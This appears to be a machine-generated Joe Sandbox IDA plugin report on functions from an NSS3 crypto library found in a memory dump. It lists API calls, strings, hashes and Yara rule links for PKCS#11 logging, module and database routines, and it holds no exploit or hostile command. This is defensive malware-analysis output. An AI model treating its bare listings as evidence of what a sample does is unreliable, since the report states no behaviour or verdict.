free.MOZGLUE(00000000), ref: 6C699136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C699145

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction ID: cc9e516a6502a86337e54dc69d0e1f7cc63ba288f598162578b36d4168f8a15f
Opcode Fuzzy Hash: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction Fuzzy Hash: 9251F1B2A042019FEB00CF28DC41B9BB7E8BF99358F044529EC5997741E731E955CB9A

Function 6C68ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C68ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE29

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C68AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C68AEA0

Strings

nvl, xrefs: 6C68AEB8, 6C68AEE6
C_MessageSignInit, xrefs: 6C68ADE1
hSession = 0x%x, xrefs: 6C68AE01, 6C68AE11
hKey = 0x%x, xrefs: 6C68AE62, 6C68AE72
(CK_INVALID_HANDLE), xrefs: 6C68AE1F, 6C68AE80

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nvl
API String ID: 332880674-3036463336
Opcode ID: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction ID: b1f9696cb3354686915813e62beb135d3fc7df5ed0a10a026cef5fb02f6d1805
Opcode Fuzzy Hash: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction Fuzzy Hash: CA31EB71602208ABCB009F14DD4CFAA3775AB4630DF044834ED09ABB92DB309909DBBE

Function 6C689EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C689F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689F49

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C689F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C689FC0

Strings

nvl, xrefs: 6C689FD8, 6C68A006
hSession = 0x%x, xrefs: 6C689F21, 6C689F31
hKey = 0x%x, xrefs: 6C689F82, 6C689F92
C_MessageEncryptInit, xrefs: 6C689F01
(CK_INVALID_HANDLE), xrefs: 6C689F3F, 6C689FA0

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nvl
API String ID: 332880674-2561802492
Opcode ID: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction ID: 8ab298a56823afd8dfce007abe34c221a9e153f35e7f094a4560645055fa7749
Opcode Fuzzy Hash: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction Fuzzy Hash: 6B31F671602208ABDB00DF54DE8CFAE3775AB4631CF084434E909ABB41DB349908CBBE

Function 6C682DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C682DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682E81

Strings

nvl, xrefs: 6C682E99, 6C682EC4
hSession = 0x%x, xrefs: 6C682E0E, 6C682E1E
pPin = 0x%p, xrefs: 6C682E63
C_InitPIN, xrefs: 6C682DF1
ulPinLen = %d, xrefs: 6C682E7C
(CK_INVALID_HANDLE), xrefs: 6C682E2C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nvl
API String ID: 1003633598-921645966
Opcode ID: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction ID: 54288f16d8b6405a2c04b4dc9760ccf5b39bb468fcb0ce6a0f6260b157164ecb
Opcode Fuzzy Hash: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction Fuzzy Hash: 7731E275602218ABDB109F55DE4CF8A3BB5EB4635CF084034E809ABB51DB309949CBBE

Function 6C687E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C687E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687E63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C687E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C687EB1

Strings

nvl, xrefs: 6C687EC9, 6C687EF7
ulPartLen = %d, xrefs: 6C687EAC
hSession = 0x%x, xrefs: 6C687E3E, 6C687E4E
C_VerifyUpdate, xrefs: 6C687E21
pPart = 0x%p, xrefs: 6C687E93
(CK_INVALID_HANDLE), xrefs: 6C687E5C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nvl
API String ID: 1003633598-1814329762
Opcode ID: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction ID: 9468a547c1a4c93a8a404c9b46335dd743b5fdc2e74ba880eba108c9a62bcd10
Opcode Fuzzy Hash: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction Fuzzy Hash: DE31B274B02118ABDB109F55DE4CF8A3BB1AB46358F084034F909ABA51DB309D09CBBE

Function 6C686EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C686F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686F53

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C686F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C686FA1

Strings

nvl, xrefs: 6C686FB9, 6C686FE7
ulPartLen = %d, xrefs: 6C686F9C
hSession = 0x%x, xrefs: 6C686F2E, 6C686F3E
pPart = 0x%p, xrefs: 6C686F83
C_DigestUpdate, xrefs: 6C686F11
(CK_INVALID_HANDLE), xrefs: 6C686F4C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nvl
API String ID: 1003633598-2481572597
Opcode ID: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction ID: d35bc0d0a244ac99e0fa54c0c7c61c7918020506b830ad2bbd48e3b9cb85113c
Opcode Fuzzy Hash: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction Fuzzy Hash: AB31C475612158AFDB009F15DE4CF8A3BB2AB4235DF084035E909ABA51DB30D948CBBE

Function 6C687F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C687F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687F93

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687FE1

Strings

nvl, xrefs: 6C687FF9, 6C688027
hSession = 0x%x, xrefs: 6C687F6E, 6C687F7E
ulSignatureLen = %d, xrefs: 6C687FDC
C_VerifyFinal, xrefs: 6C687F51
pSignature = 0x%p, xrefs: 6C687FC3
(CK_INVALID_HANDLE), xrefs: 6C687F8C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nvl
API String ID: 1003633598-406126234
Opcode ID: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction ID: 97c9f819b8b64d4b49fde6f5ca08714c7d8272612ea73c80dc2f133d6e59f10e
Opcode Fuzzy Hash: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction Fuzzy Hash: 6631B271702158ABDB109F56DE4CF8A3BB1AB46359F044035F809ABA11DB30A948CBBE

Function 6C64AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C64AF47

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

FreeLibrary.KERNEL32(?), ref: 6C64AF6D
free.MOZGLUE(?), ref: 6C64AFA4
free.MOZGLUE(?), ref: 6C64AFAA
PR_ExitMonitor.NSS3 ref: 6C64AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C64AFF5
PR_ExitMonitor.NSS3 ref: 6C64B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C64B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B03C

Strings

%s decr => %d, xrefs: 6C64AFF0
Unloaded library %s, xrefs: 6C64B023

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction ID: 4052977f948da2556666b9c4f95db5b8d006a66feda73761434380debadff623
Opcode Fuzzy Hash: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction Fuzzy Hash: 473103B4A04101BBEB009F61DC48E5AB775EB4670DB18C135EC0687A41F722E824C7AD

Function 6C696C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

Strings

dbm, xrefs: 6C696CA4
extern:, xrefs: 6C696C7E
rdb:, xrefs: 6C696C69
dbm:, xrefs: 6C696C3A
sql:, xrefs: 6C696C52
NSS_DEFAULT_DB_TYPE, xrefs: 6C696C91

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction ID: 0fe2c62c29fcbf0ef25a135404f7e84b729a72df7edb3cf82263d452de9dfbd1
Opcode Fuzzy Hash: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction Fuzzy Hash: D301A2A170630277FA4027BA7E4AF66355C9F41259F144531FE04E0981EB92E61480E9

Function 6C6A4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6678F8), ref: 6C6A4E6D

Part of subcall function 6C6409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6406A2,00000000,?), ref: 6C6409F8
Part of subcall function 6C6409E0: malloc.MOZGLUE(0000001F), ref: 6C640A18
Part of subcall function 6C6409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C640A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6678F8), ref: 6C6A4ED9

Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C697703,?,00000000,00000000), ref: 6C695942
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C697703), ref: 6C695954
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C69596A
Part of subcall function 6C695920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C695984
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C695999
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959BA
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6959D3
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959F5
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C695A0A
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C695A2E
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C695A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EB3

Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A484C
Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A486D
Part of subcall function 6C6A4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C6A4EB8,?), ref: 6C6A4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EC0

Part of subcall function 6C6A4470: TlsGetValue.KERNEL32(00000000,?,6C667296,00000000), ref: 6C6A4487
Part of subcall function 6C6A4470: EnterCriticalSection.KERNEL32(?,?,?,6C667296,00000000), ref: 6C6A44A0
Part of subcall function 6C6A4470: PR_Unlock.NSS3(?,?,?,?,6C667296,00000000), ref: 6C6A44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C77DCB0,00000000), ref: 6C6A4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C6A501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A506B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction ID: 92bd4522a208fcd338fb28edf80d380f17c0a449611768c9f1f27572a16d81e7
Opcode Fuzzy Hash: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction Fuzzy Hash: 8D5124B1D00602ABEB019FA5EC01AAA76B4FF0635CF144535E80682A11FB71DD56CB9E

Function 6C64ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
malloc.MOZGLUE(00000001), ref: 6C64ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
TlsGetValue.KERNEL32 ref: 6C64AD3C
calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
PR_Unlock.NSS3 ref: 6C64ADC0
free.MOZGLUE(00000000), ref: 6C64AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C64AE58
free.MOZGLUE(00000000), ref: 6C64AE69
free.MOZGLUE(?), ref: 6C64AE78
PR_Unlock.NSS3 ref: 6C64AE8C
free.MOZGLUE(?), ref: 6C64AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64AEC7

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

